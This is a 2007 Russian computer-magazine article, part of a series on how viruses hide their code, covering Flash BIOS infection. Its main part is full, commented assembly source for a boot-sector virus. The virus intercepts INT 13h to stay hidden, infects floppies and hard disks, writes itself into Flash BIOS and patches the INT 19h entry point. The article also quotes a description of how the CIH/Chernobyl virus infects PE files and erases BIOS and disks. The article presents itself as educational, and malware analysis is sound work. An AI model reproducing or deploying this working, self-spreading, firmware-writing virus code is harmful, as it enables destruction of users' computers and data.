Антология сокрытия вирусного кода. Часть 3

Напомню нашим читателям, что в предыдущих частях статьи мы рассмотрели такие способы сокрытия вирусного кода, как упаковка, полиморфизм, обфускация, руткит-технологии, а также сокрытие посредством работы в защищенном режиме процессора (см. КГ №№ 21, 22).

FLASH BIOS: почему бы и нет?


Самая обычная ситуация — это когда код привязан к файловой системе и/или является резидентным (выполняющимся в оперативной памяти). Но что, если вирусный код… работает в BIOS'е!..

Да-да, именно, а почему бы и нет? Отлов и уничтожение такого "зверя" потребует от антивирусной программы чего-то большего, а именно возможности трассировать INT 16h (INT 16h — сигнал прерывания. Прерывание (англ. interrupt) — сигнал, сообщающий процессору о совершении какого- либо асинхронного события. При этом выполнение текущей последовательности команд приостанавливается, и управление передается обработчику прерывания, который выполняет работу по обработке события и возвращает управление в прерванный код), чтобы получить оригинальный вектор (ячейку памяти, содержащую адрес обработчика прерываний). Почему все так сложно, и как с этим связан антивирусный монитор? Все дело в том, что BIOS (AMI как пример) обладает некоторыми особенностями работы в микросхемах Flash-памяти, которые базируются на использовании функции E0h прерывания INT 16h… Однажды внесенный в данную область памяти вирус впоследствии запрещает повторно использовать указанную функцию. Как следствие это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. А как это все работает? Алгоритм работы такого вируса выглядит следующим образом:

. Проверить компьютер на наличие Flash BIOS.
. Проверить Flash BIOS на зараженность (осуществить выход, если она заражена).
. Считать вектор INT 19h из таблицы (прерывание загрузки).
. Прочесть первые 5 байт от точки входа INT 19h.
. Проверить BIOS на наличие свободного места для размещения вируса (поиск области нулей).
. Установить память Flash BIOS в режим записи (обычно она находится в режиме Readonly).
. Записать вирус в найденную область нулей.
. Записать переход на вирус в точку входа INT 19h.
. Восстановить режим Readonly для памяти Flash BIOS.

А вот, собственно, и сам код с комментариями:

; Вирус, заражающий Flash BIOS.
; Если на компьютере есть Flash BIOS, имеется шанс, что его могут
; серьезно испортить. Если BIOS изменится, это может привести
; к неприятностям: нельзя будет загрузиться даже с "чистой"
; дискеты — зараженный чип в рабочее состояние не вернуть.
оrg 0
; При входе в boot-сектор 01=загрузочный диск
mov si, 7C00h
; Установим 0000h в регистрах DS и ES
хоr ах, ах
mov es, ax
mov ds, ax
; Установим значение стека 0000h:7C00h
cli
mov ss, ax
mov sp, si
sti
; Уменьшим на 1 Кб память (0040h:0013h)
dec word ptr [0413h]
; Получим размер памяти (при возврате в АХ)
int 12h
; Так как размер памяти указан в килобайтах (1024 байт), а нужно
; в параграфах (16 байт), умножим его на 64, что эквивалентно
; сдвигу на 6 разрядов влево
mov cl, 6
shl ax, cl
; Установим новый сегмент вируса (вершина памяти)
mov es, ax
; Перенесем вирусный сектор в вершину памяти
xor di, di
mov cx, 200h
cld
rep movsb
; Сохраним вектор прерывания INT 13h. Поскольку этот вирус
; загрузился до загрузки DOS, то прерывание INT 21h еще не
; работает — работаем с вектором прерывания прямо в таблице
mov ax, word ptr [13h*4]
mov word ptr es: [off set i13], ax
mov ax, word ptr [13h*4+2]
mov word ptr es: [offset i13+2], ax
; Установим новый вектор прерывания INT 13h
mov word ptr [13h*4], offset Handler
mov word ptr [13h*4+2], es
; Переходим в точку ES:Restart (в копии вируса,
; находящейся в вершине памяти)
already_resident:
push es
mov ax, offset Restart
push ax
retf
; C этого места программа работает уже в вершине памяти
Restart:
; Загружаем оригинальный boot-сектор из конца
; root directory и передаем ему управление.
; Сброс дисковой подсистемы (перед работой
; с дисковой подсистемой надо выполнить
; функцию 00h прерывания INT 13h)
xor ах, ах
call int13h
; Подготовим регистры для загрузки оригинального boot-сектора
хоr ах, ах
mov es, ax ; Сегмент для загрузки
mov bx, 7C00h ; Смещение для загрузки
mov cx, 0002h ; Дорожка 0, сектор 2
xor dh, dh ; Головка 0
mov ax, 0201h ; Функция 2, количество секторов 1
; Проверим диск, с которого грузимся. 80h и выше — жесткий диск,
; иначе — дискета. Копия оригинального boot-сектора хранится
; в разных местах: на жестком диске — дорожка 0, головка 0, сектор 2;
; на дискете — дорожка 0, головка 1, сектор 14
cmp dl, 80h
jae MBR_Loader
; Грузимся с дискеты: изменим сектор и головку
mov с1, 14 ; Сектор 14
mov dh, 1 ; Головка 1
; 3агрузим оригинальный boot-сектор по адресу 0000h:7C00h
MBR_Loader:
call int13h
; Сохраним в стеке номер диска, с которого грузимся
push dx
; Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done, 1
je Flash_resident
; 3аразим Flash BIOS
call flash_BIOS
; Восстановим из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
; 3апускаем оригинальный boot-сектор (JMP FAR 0000h:7C00h)
db 0EAh
dw 7C00h
dw 0
; Сюда попадаем, когда происходит чтение boot-сектора.
;Скрываем присутствие вируса методом чтения оригинального boot-сектора
Stealth:
; Остановим значения сектора, где хранится копия оригинального
; boot-сектора
mov cx, 02h
mov ax, 0201h
; Проверим, откуда считан boot-сектор (дискета или жесткий диск),
; так как копии хранятся в разных местах
cmp dl, 80h
jae hd_stealth
mov cl, 14
mov dh, 1
hd_stealth:
; Прочтем копию оригинального boot-сектора. Так как
; номера секторов подменены, фактически "копия выдается
; за оригинал" — скрываем свое присутствие (Stealth).
call int13h
; Выходим из обработчика прерывания
jmp pop_exit
; Проверка наличия резидентного вируса — ответим:
; запрос INT 13h (AX=ABBAh), ответ AX=BMBh
restest:
xchg ah, al
iret
; Обработчик прерывания INT 13h
Handler:
; Если при вызове в АХ находится ABBAh,
; значит, это проверка наличия резидентного вируса
cmp ax, 0ABBAh
je restest
; Перехватываем только функцию 02h (чтение сектора): проверяем
; номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah, 2
jne jend
; Проверяем номера дорожки и сектора, интересуясь только теми
; секторами, в которых может оказаться вирус —
; дорожка 0, головка 0, сектор 1
cmp cx, 1
jne jend
; Проверим номер головки. Если не 0, то запустим
; Оригинальный обработчик
cmp dh, 0
jne jend
tryinfect:
; Считаем сектор в буфер (для дальнейшей обработки).
; Для этого вызовем оригинальный INT 13h
call int13h
jc jend
; Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.
; Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker], "LV"
je stealth
; Если диск не заражен, то заражаем: проверим, откуда загружен
; boot-ceKTOp (с дискеты или с жесткого диска)
cmp dl, 80h
jb infect_floppy
; Установим номера дорожки, головки и сектора для жесткого
; диска для сохранения оригинального boot-сектора
mov cx, 2
xor dh, dh
jmp write_virus
infect_Floppy:
; Установим номера дорожки, головки и сектора для дискеты
; для сохранения оригинального boot-сектора
mov сх, 14
mov dh, 1
Write_Virus:
; Записываем оригинальный boot-сектор
mov ax, 0301h
call int-lSh
jc pop_exit
; Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
; Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done, 0
; 3апишем тело вируса в boot-сектор
xor bx, bx
mov ax, 0301h
mov cx, 0001h
xor dh, dh
call int13h
; восстановим регистры и флаги (как раз те их значения, которые
; свидетельствует о том, что boot-сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
; Выходим из обработчика в вызывающую программу
retf 2
; 3апуск оригинального обработчика
jend:
DD 0EAh ; Код команды JMP FAR
; Оригинальный вектор INT13h
i13 DD 0
; Вызов прерывания INT 13h
int13h proc near
pushf
call dword ptr cs:[i13]
ret
int13h endp
; Первые два байта слова используются как сигнатура
Marker db "VLAD"
; Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
; Проверим наличие Flash BIOS
mov ax, 0e000h
int 16h
jc no_flash_bios
cmp al, 0FAh
jne no_flash_bios
; Сначала найдем хорошее место для хранения вируса.
; Просканируем память F000h-FFFFh, где обычно находится BIOS,
; на наличие области 1 Кб нулей. Хватит даже 512 байт памяти,
; но выделить нужно с запасом
infect_Flash:
; Остановим начальный сегмент для поиска
mov ax, 0F000h
mov ds, ax
; Проверим сегмент
New_segment:
; Остановим стартовое смещение
xor si, si
; Остановим счетчик найденных байт
; (величина свободного места для вируса)
xor dx, dx
ok_new_segment:
; Перейдем к следующему сегменту
inc ax
mov ds, ax
; Проверим, есть ли еще место для вируса
cmp ax, 0FFF0h
je no_flash_BIOS
; Проверим, свободно ли место (для скорости проверяем словами)
test16:
cmp word ptr [si], 0
jne new_segment
; Увеличим счетчик размера найденного свободного места
inc dx
; Проверим, достаточно ли найденного места. Сравниваем с 1 Кб, но
; так как память сканируем словами, сравниваем с 512 (1 Кб=512 слов)
cmp dx, 512
je found_storage
; Увеличим смещение проверяемого байта
inc si
inc si
; Сравним с 16. Переходим к следующему сегменту
; в начале каждого параграфа
cmp si, 16
je ok_new_segment
jmp test16
; B эту точку попадаем, если место найдено
Found_storage:
; Перейдем к началу зоны
sub ax, 40h
mov ds, ax
; Получим требования к сохранению состояния чипа
mov ax, 0E001h
int 16h
; Проверим, сколько памяти необходимо для сохранения состояния
; чипа. Если слишком много, не будем сохранять состояние
cmp bx, 512
jbe save_chipset
; Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset, 1
; Перейдем к записи
jmp write_enable
; Сюда попадаем, если Flash BIOS не обнаружен:
; записывать некуда — выходим
No_Flash_BIOS:
ret
; Сохраним состояние чипа
save_chipset:
; Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset, 0
; Сохраним состояние
mov al, 2
push cs
pop es
mov di, offset buffer
int 16h
; Записываемся во Flash BIOS
write_enable:
; Повышаем напряжение
mov al, 5
int 16h
; Разрешаем запись во Flash BIOS
mov al, 7
int 16h
; Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di, di
mov cx, 512
push cs
pop ds
xor si, si
cld
rep movsb
; 3десь нужна особая осторожность. int19h указывает на BIOS,
; позднее оно перехватывается различными программами.
; Если трассировать его, можно наткнуться на закрытую область
; или на сегмент 70h, но этого не будет при загрузке. Понятно,
; что это единственное удачное время для выполнения вируса.
; Все, что нужно — "внедриться" в int19h.
; Можно перехватить его в том месте, где находится
; сохраненная таблица векторов, но сделаем интереснее.
; Получим смещение оригинального обработчика int19h
mov bx, es ; ВХ=сегмент вируса
xor ах, ах
mov ds, ax ; DS=Ta6nHua векторов
mov di, word ptr [19h*4] ; Смещение INT 19h
mov es, word ptr [19h*4+2] ; Сегмент INT 19h
; 3апишем JMP FAR по адресу точки входа в INT 19h
mov al, 0EAh
stosb
mov ax, offset int19handler
stosw
mov ax, bx
stosw
; Понизим напряжение
mov ax, 0E004h
int 16h
; 3ащитим Flash BIOS от записи
mov al, 6
int 16h
; Проверим, сохранялось ли состояние чипа, если нет — выходим
cmp byte ptr cs:chipset, 0
jne No_Flash_BIOS
; Восстановим состояние чипа
push cs
pop es
mov al, 3
mov di, offset buffer
int 16h
jmp No_Flash_BIOS
; Флаг несохранения состояния чипа
chipset db 0
; Флаг присутствия вируса во Flash BIOS
flash_done db 0
; Наш обработчик INT 19h.
int19Handler Proc Near
; Установим сегментный регистр ES в ноль
хоr ах, ах
mov es, ax
; Проверим наличие резидентного вируса
mov ax, 0ABBAh
int 13h
; Если вирус присутствует, то запускаем оригинальный
; обработчик прерывания INT 19h
cmp ax, 0BAABh
jne real_int19h
; Перенесем вирус из BIOS в boot-буфер
push cs
pop ds
cld
xor si, si
mov di, 7c00h
mov cx,512
rep movsb
; 3апустим вирус в boot-буфере
mov dl, 80h
jmp goto_Buffer
real_int19h:
; Произведем сброс дисковой подсистемы
xor ax, ax
int 13h
; Проинициализируем значения регистров для загрузки boot-сектора
mov cx, 1
mov dh, 0
mov ax, 0201h
mov bx, 7C00h
; Проверим, откуда грузимся: если DL не нулевой,
; переходим к загрузке с жесткого диска
cmp dl, 0
ja hd_int19h
; Прочтем boot-сектор с дискеты. Если при чтении происходит
; ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
; Остановим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7C00h+offset flash_done], 1
; 3апустим boot-сектор, находящийся в boot-буфере
db 0EAh ; Код команды JMP FAR
dw 7c00h
dw 0
Fix_HD:
; Установим номер диска для загрузки (диск С)
mov dl, 80h
HD_int19h:
; Произведем сброс дисковой подсистемы
хоr ах, ах
int 13h
; Прочтем boot-сектор
mov ax, 0201h
int 13h
jc Boot
jmp Goto_Buffer
; Если не удалось загрузить boot-сектор,
; вызываем прерывание INT 18h
Boot:
int 18h
int19Handler EndP
Flash_BIOS EndP
End_Virus:
; Размер области памяти, необходимый для дополнения
; размера вируса до 510 байт
DupSize equ 510-offset End_Virus
; Заполнение незанятой вирусом части сектора
db DupSize dup (0)
db 55h, 0aah

Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.viruslist.com).

Virus.Win9x.CIH также известен как "Чернобыль". Резидентный вирус, работает только под Windows95/98 и заражает PE-файлы (Portable Executable). Имеет довольно небольшую длину — около 1 Кб. Был обнаружен "в живом виде" на Тайване в июне 1998 — автор вируса заразил компьютеры в местном университете, где в то время проходил обучение. Через некоторое время зараженные файлы были (случайно?) разосланы в местные интернет- конференции, и вирус выбрался за пределы Тайваня: за последующую неделю вирусные эпидемии были зарегистрированы в Австрии, Австралии, Израиле и Великобритании. Затем вирус был обнаружен и в нескольких других странах включая Россию. Примерно через месяц зараженные файлы были обнаружены на нескольких американских web-серверах, распространяющих игровые программы. Этот факт, видимо, и послужил причиной последовавшей глобальной вирусной эпидемии. 26 апреля 1999 года (примерно через год после появления вируса) сработала "логическая бомба", заложенная в его код. По различным оценкам, в этот день по всему миру пострадало около полумиллиона компьютеров — у них оказались уничтожены данные на жестком диске, а на некоторых плюс к тому испорчено содержимое микросхем BIOS на материнских платах. Данный инцидент стал настоящей компьютерной катастрофой — вирусные эпидемии и их последствия никогда до того не были столь масштабными и не приносили таких убытков.

Видимо, по тем причинам, что: 1) вирус нес реальную угрозу компьютерам во всем мире и 2) дата срабатывания вируса (26 апреля) совпадает с датой аварии на Чернобыльской АЭС, вирус получил свое второе имя — "Чернобыль" (Chernobyl). Автор вируса, скорее всего, никак не связывал Чернобыльскую трагедию со своим вирусом и поставил дату срабатывания "бомбы" на 26 апреля по совсем другой причине: именно 26 апреля в 1998 году он выпустил первую версию своего вируса (которая, кстати, так и не вышла за пределы Тайваня) — 26 апреля вирус "CIH" отмечает подобным образом свой "день рождения".

Как вирус работает. При запуске зараженного файла вирус инсталлирует свой код в память Windows, перехватывает обращения к файлам и при открытии PE EXE-файлов записывает в них свою копию. Он содержит ошибки и в некоторых случаях подвешивает систему при запуске зараженных файлов, а также в зависимости от текущей даты стирает Flash BIOS и содержимое дисков. Запись в Flash BIOS возможна только на соответствующих типах материнских плат и при разрешающей установке соответствующего переключателя. Этот переключатель обычно установлен в положение "только чтение", однако это справедливо не для всех производителей компьютеров. К сожалению, Flash BIOS на некоторых современных материнских платах не может быть защищена переключателем: одни из них разрешают запись во Flash при любом положении переключателя, на других защита записи во Flash может быть отменена программно. После успешного стирания Flash-памяти вирус переходит к другой деструктивной процедуре: стирает информацию на всех установленных винчестерах. При этом вирус использует прямой доступ к данным на диске и тем самым обходит встроенную в BIOS стандартную антивирусную защиту от записи в загрузочные сектора. Известны три основные версии вируса. Они достаточно похожи друг на друга и отличаются лишь незначительными деталями кода в различных подпрограммах. Версии вируса имеют различные длины, строки текста и дату срабатывания процедуры стирания дисков и Flash BIOS.

Технические детали. При заражении файлов вирус ищет в них "дыры" (блоки неиспользуемых данных) и записывает в них свой код. Присутствие таких "дыр" обусловлено структурой PE-файлов: позиция каждой секции в файле выровнена на определенное значение, указанное в PE-заголовке, и в большинстве случаев между концом предыдущей секции и началом последующей есть некоторое количество байт, которые не используются программой. Вирус ищет в файле такие неиспользуемые блоки, записывает в них свой код и увеличивает на необходимое значение размер модифицированной секции. Размер заражаемых файлов при этом не увеличивается. Если в конце какой-либо секции присутствует "дыра" достаточного размера, вирус записывает в нее свой код одним блоком. Если же такой "дыры" нет, вирус дробит свой код на блоки и записывает их в конец различных секций файла. Таким образом, код вируса в зараженных файлах может быть обнаружен и как единый блок кода, и как несколько не связанных между собой блоков. Вирус также ищет неиспользуемый блок данных в PE-заголовке. Если в конце заголовка есть "дыра" размером не менее 184 байт, вирус записывает в нее свою startup-процедуру. Затем вирус изменяет стартовый адрес файла, записывая в нее адрес своей startup-процедуры. В результате такого приема структура файла становится достаточно нестандартной: адрес стартовой процедуры программы указывает не в какую-либо секцию файла, а за пределы загружаемого модуля — в заголовок файла. Получив управление, startup-процедура вируса выделяет блок памяти VMM-вызовом PageAllocate, копирует туда свой код, затем определяет адреса остальных блоков кода вируса (расположенных в конце секций) и дописывает их к коду своей startup- процедуры. Затем вирус перехватывает IFS API и возвращает управление программе-носителю.

С точки зрения операционной системы эта процедура в вирусе наиболее интересна: после того, как вирус скопировал свой код в новый блок памяти и передал туда управление, код вируса исполняется как приложение Ring0, и вирус в состоянии перехватить AFS API. Перехватчик IFS API обрабатывает только одну функцию — открытие файлов. Если открывается файл с расширением EXE, вирус проверяет его внутренний формат и записывает в файл свой код. После заражения вирус проверяет системную дату и вызывает процедуру стирания Flash BIOS и секторов диска. При стирании Flash BIOS вирус использует соответствующие порты чтения/записи, при стирании секторов дисков вирус вызывает VxD-функцию прямого обращения к дискам IOS_SendCommand.

Известные варианты вируса. Автор вируса не только выпустил копии зараженных файлов "на свободу", но и разослал исходные ассемблерные тексты вируса. Это привело к тому, что эти тексты были откорректированы, откомпилированы и вскоре появились модификации вируса, имевшие различные длины, однако по функциональности они все соответствовали своему "родителю". В некоторых вариантах вируса была изменена дата срабатывания "бомбы" либо этот участок вообще никогда не вызывался. Известно также об "оригинальных" версиях вируса, срабатывающих в дни, отличные от 26 апреля. Данный факт объясняется тем, что проверка даты в коде вируса происходит по двум константам. Естественно, для того, чтобы поставить таймер "бомбы" на любой заданный день, достаточно поменять лишь два байта в коде вируса…

PS: Исходные коды приведены исключительно в образовательных целях. Автор статьи не несет никакой ответственности за использование
материалов в злонамеренных целях.

Олег Бойцев, security-expert, boytsev_om@mail.ru


Компьютерная газета. Статья была опубликована в номере 23 за 2007 год в рубрике безопасность

©1997-2024 Компьютерная газета